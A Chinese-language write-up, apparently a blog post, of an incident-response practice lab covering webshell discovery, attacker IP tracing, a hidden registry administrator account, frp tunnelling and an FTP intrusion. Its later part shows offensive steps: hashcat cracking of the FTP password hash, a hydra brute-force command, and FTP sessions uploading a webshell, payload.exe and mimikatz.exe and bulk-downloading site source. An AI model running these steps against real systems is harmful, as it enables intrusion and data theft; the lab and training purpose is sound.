开扫,本篇为发现后门,溯源,ftp攻击防御,ftp攻击
老规矩,D盾开扫

得到webshell名称为system.php链接密码hack6618

定位到攻击者ip 192.168.126.135
可是题目要两个,看看windows日志
发现 2024-02-29 13:28:48 hack887$ WIN-RRCVI68HLRI 10 User32 WIN-RRCVI68HLRI C:\Windows\System32\svchost.exe 192.168.126.129 0 4624
于是第二个ip为 192.168.126.129

这里问题是QQ号是多少
我这里进入了桌面发现有注册表文件,这里看了看网上教程,发现没人提到
第一个user.reg文件
、
在 Users\Names 下创建子键 hack887$,这就在系统里“注册”了一个用户名。
结尾的 $ 符号表示这是一个隐藏账户——在命令行用 net user 或普通用户管理界面里看不到它,只有直接查看注册表或用专门工具才能发现。
默认值 @=hex(3e8):(通常应写成 hex(3e8) 或 DWORD 形式)将这个用户映射到 RID 0x3E8(十进制 1000)。 RID 1000 在 Windows 中一般是默认的内置管理员账户(Administrator)的 RID。这样就把 hack887$ 的权限提升到了管理员级别,实际上和 Administrator 账户共享同一个用户数据
第二个文件

路径 000003E8 正是 RID 0x3E8 对应的用户数据存储位置。
它修改了四个关键的键值:
F:账户核心配置,包含密码哈希、账户启用状态、RID 等。里面的二进制数据里可以看到 h.a.c.k.8.8.7.$ 的 Unicode 字符串,直接关联到新建的用户名。
V:账户的详细配置数据,比如登录时间、密码策略、组成员信息等。
ForcePasswordReset = 0:明确设置为不强制要求下次登录修改密码,使账户可以直接使用。
SupplementalCredentials:存储额外的凭据信息(如 NTLM 哈希、Kerberos 密钥等),确保账户能正常进行网络登录和域相关认证,而不只是本地登录。
这些二进制块实际上就是该用户的密码哈希和其他安全凭证。导入这个 .reg 文件后,hack887$ 账户就直接拥有了预设的密码,攻击者无需知道明文,只要用对应的哈希即可登录。
所以这里也可以按照网上的文章看看
根据之前分析,发现确实那个hack账户被隐藏掉了

所以对于隐藏账户,我们可以打开注册表查看
我这里打开就是,我不知道是不是提前开过了,给个路径,应该到这里去查看
SAM\SAM\Domains\Account\Users\Names

删除即可
这里因为时间不对,这个靶机比较早,所以这里无法通过时间来判断攻击者写入过哪些文件
powershell$StartTime = "2026-08-10T02:00:00" $EndTime = "2026-08-10T03:00:00" Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.LastWriteTime -ge $StartTime -and $_.LastWriteTime -le $EndTime } | Select-Object FullName, LastWriteTime, Length | Export-Csv C:\temp\files_mod.csv
这里还可以通过快速访问查看
按照穷举发现文档内存在腾讯文件,于是777888999321是qq号,发现frp内网穿透,看看配置文件
在frpc.ini文件发现服务器ip为256.256.66.88,端口号为65536(这些不存在ip应为254以下,端口为65535以下)

由于之前web服务日志只有访问,没有post上传行为,所以翻阅ftp日志发现大量爆破信息,最后成功登录21端口


发现是
FileZilla Server 0.9.60 beta 的 FTP 服务。这是一个比较老的版本(发布于 2017 年左右),可能存在一些已知的攻击面,

然后这里为了省事,先看看ftp配置

账户admin密码MD5哈希解出来是admin666888
这里如果没有在线,也可以通过kali
bash# 将哈希写入文件
echo '607cfd609d28dc2e4733fdbf0b0b80e1' > ftp_hash.txt
# 使用 hashcat 破解,模式 0 = MD5
hashcat -m 0 ftp_hash.txt /usr/share/wordlists/rockyou.txt
# 如果你的 Kali 没有 rockyou.txt,先解压:
# sudo gunzip /usr/share/wordlists/rockyou.txt.gz

这里为了做演示在top500加入密码跑个字典看看
bashhydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.40.148

这时我们查看日志发现

然后我们连接传个马子上去


成功连接,结束

常用
| 命令 | 说明 | 示例 |
|---|---|---|
ls 或 dir | 列出服务器当前目录的文件 | ls -la |
cd 目录 | 进入服务器上的目录 | cd tools |
lcd 本地目录 | 切换本地(Kali)工作目录 | lcd /home/kali/Downloads |
pwd | 显示服务器当前路径 | pwd |
!pwd | 显示本地当前路径(加 ! 执行本地命令) |
| 命令 | 说明 |
|---|---|
get 文件名 | 下载单个文件到本地 |
mget 通配符 | 批量下载(会提示确认) |
reget 文件名 | 断点续传下载 |
例子:
bashftp> lcd /home/kali/桌面 # 先切到本地存放目录
ftp> get webshell.php # 下载单个文件
ftp> mget *.exe # 下载所有 exe
| 命令 | 说明 |
|---|---|
put 本地文件名 | 上传单个文件到服务器 |
mput 通配符 | 批量上传 |
append 本地文件 远程文件 | 追加内容到远程文件末尾 |
例子:
bashftp> lcd /home/kali/tools # 本地要上传的文件所在目录
ftp> put mimikatz.exe # 上传单个文件
ftp> mput *.dll # 批量上传
bashftp> binary # 二进制模式(上传 exe、zip、图片等)
ftp> ascii # 文本模式(上传 txt、php、html 等)
攻击者通常统一用 binary 避免文件损坏。
| 命令 | 说明 |
|---|---|
delete 文件名 | 删除服务器上的文件 |
mdelete *.log | 批量删除 |
mkdir 目录名 | 创建目录 |
rmdir 目录名 | 删除空目录 |
bashftp> bye
# 或 quit
假设攻击者用这个 FTP 上传了后门,操作可能是:
bashftp> binary
ftp> cd /phpstudy_pro/WWW # 进入网站目录(可能不需要,因为根目录就是)
ftp> put shell.php # 上传 webshell
ftp> put payload.exe
ftp> ls
ftp> bye
如果要“下载”网站源码(窃取数据),则是:
bashftp> lcd /tmp/stolen
ftp> binary
ftp> prompt off # 关闭批量下载的确认提示
ftp> mget *
ftp> bye